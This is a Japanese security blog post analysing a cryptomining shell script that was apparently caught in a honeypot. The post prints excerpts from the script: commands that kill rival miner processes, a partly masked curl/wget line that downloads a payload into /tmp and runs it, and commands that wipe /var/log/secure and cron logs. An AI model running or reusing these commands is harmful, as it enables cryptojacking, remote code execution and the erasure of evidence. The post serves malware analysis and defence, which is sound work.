ばぁど・うぉっちんぐ

セキュリティに強いWeb屋。自由と春を求めて羽ばたく渡り鳥。

このブログはGoogle Analyticsを利用しています

不審なシェルをハニーポットで採取したので中身を解析してみる

ハニーポットで久々にシェルが置かれていたので、中身を読んで解析をしてみました。

2019年4月6日の記事で確認できたマルウェアです。

ultrabirdtech.hatenablog.com

取得したマルウェアについて

仮想通貨をマイニングするシェルが置かれていました。

Virustotal

いくつかのベンダーの解析結果は仮想通貨をマイニングするシェルだという結果が出ています。

Linux/CoinMiner.GL

後、最後の方で特定のURLに繋いで次のマルウェアをDLしているようなので、そのような記載もされております。 Trojanなのでトロイの木馬をDLするのですかね。

Trojan-Downloader.Shell.Miner.y

www.virustotal.com

トレンドマイクロの記事

下記のようにトレンドマイクロさんでも同じようなシェルを確認しています。

シェル内に記述されているURLが同じなので、同系統のマルウェアのようです。

blog.trendmicro.co.jp

シェルファイルの中身

注意1:セキュリティ面を考慮して伏せ字を使用する箇所があります。

注意2:マルウェアは全文掲載はしません。この記事の内容だけではマルウェアが完成しないように配慮しております。

注意3:怪しいURLなどは絶対にアクセスしないでください。

プロセスをkill & フォルダを削除

# ファイル、フォルダを削除する
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
・
・

pkill はプロセス名を指定してプロセスをkillするコマンドですね。

# プロセスをKillしている
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
・
・

ps auxfgrep 結果から条件に一致するもののプロセスを殺している。

・
・
ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "watchbog" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
・
・

netstat の結果からも同様に殺していますね。

・
・
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
・
・

このような記述が続いております。 一般的にマルウェアがこのような動きをする理由は、自分自身のプロセスの動きを邪魔するプロセスを殺しにきているからですね。

ファイルをDLする

ファイルをDLしています。 120秒でタイムアウトするように設定されていますね。 一応URL全部完成できないように伏せ字にしています。(他のページ見れば再現できますが、アクセスはしないでくださいね)

# curl でファイルを取得する(■は伏せ字)
(curl -fsSL --connect-timeout 120 http://yxarsh[.]■■■■/■■■■ -o /tmp/r1x||wget http://yxarsh[.]■■■■/■■■■ -O /tmp/r1x)

# 取得したファイルの権限を変更
chmod +x /tmp/r1x

# ファイル実行
/tmp/r1x

ログの上書き

最後にsecurecronなど複数のログを消してます(0で上書いている)

・
・
echo 0>/var/log/secure
echo 0>/var/log/cron
・
・

b関数とd関数

function b() {
pkill -f sourplum
・
・
・

}
function d() {
chattr -i /tmp/r1x
・
・
・
}

b関数とd関数が定義されていました。 b関数は主に自分自身を動きやすくするため邪魔するプロセスを殺したり、フォルダを作成するような機能が記述されています。

d関数は次に使用するマルウェアをDLするような記述がされていました。

私が記述的に面白いなと思ったのが下記の呼び出し部分。

・
・
b
d
・
・

この、bd だけで関数呼び出せるのは簡潔ですね。

今回のように100行くらいで完結しているファイルであれば、この一文字以上の情報はいらないですね。

まとめ

久々にハニーポットに置かれたシェルの中身を呼んだ。 マルウェアを解析する際は攻撃者が何を考えて配置してくるかということを考えると、解析もはかどりますね。

逮捕されないかビクビクしながらやっております。 もっと気軽にアウトプットできるような世の中になってほしいという意思を込めて、少し怖いけど記事にしました。